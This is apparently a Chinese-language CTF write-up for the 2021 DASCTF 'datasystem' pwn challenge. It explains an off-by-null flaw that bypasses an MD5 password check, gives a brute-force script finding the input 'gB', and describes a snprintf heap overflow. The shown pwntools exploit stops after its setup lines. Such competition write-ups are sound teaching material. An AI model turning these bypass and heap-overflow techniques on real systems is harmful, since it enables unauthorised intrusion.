2021 DASCTF Sept X 浙江工业大学秋季挑战赛 pwn datasystem

最新推荐文章于 2022-05-12 17:20:04 发布

原创

最新推荐文章于 2022-05-12 17:20:04 发布 · 463 阅读

1 ·

CC 4.0 BY-SA版权

文章标签：

#网络安全

本文详细讲述了如何通过MD5漏洞利用offbynull技巧绕过检查，进而进行堆溢出，并利用gB绕过密码验证。后续通过动态分配内存和精心构造payload，实现了对system调用的控制，展示了黑客在信息系统安全中的技术手段。

在这里插入图片描述

在这里插入图片描述
开了沙箱。

在这里插入图片描述
看到两个特征数的时候显然知道是md5了，密码需要md5.

在我们输入0x20个字符的时候这里会有一个off by null。会把密码的最后要比较的mf5的第一个字节覆盖成’\x00’.
有一个off by null的漏洞。

所以导致我们如果输入的md5第一个字节可以最后是’\x00’，那么将会直接绕过检查。
所以我们就爆破一下。

import hashlib
import string
import itertools

target_c = '00'

for i in range(8):
        print(i)
        for mes in itertools.product(string.ascii_letters, repeat=i):
                if hashlib.md5((''.join(mes)).encode()).hexdigest().startswith(target_c):
                        print(''.join(mes))
                        exit()

最后发现输入gB就可以了。

进入堆部分
在这里插入图片描述 add可以直接溢出。
snprintf试图写入0x500个字符，但是不允许，所以v3会直接变成0x500，就可以直接溢出。

exp

from pwn import*

context.log_level='debug'
context.arch='amd64'
context.os = "linux"
context.terminal = ["tmux", "splitw", "-h"] 

local = 1
if local:
    r = process('./datasystem')
else:
    r = remote("node4.buuoj.cn", 25963)
    

sa = lambda s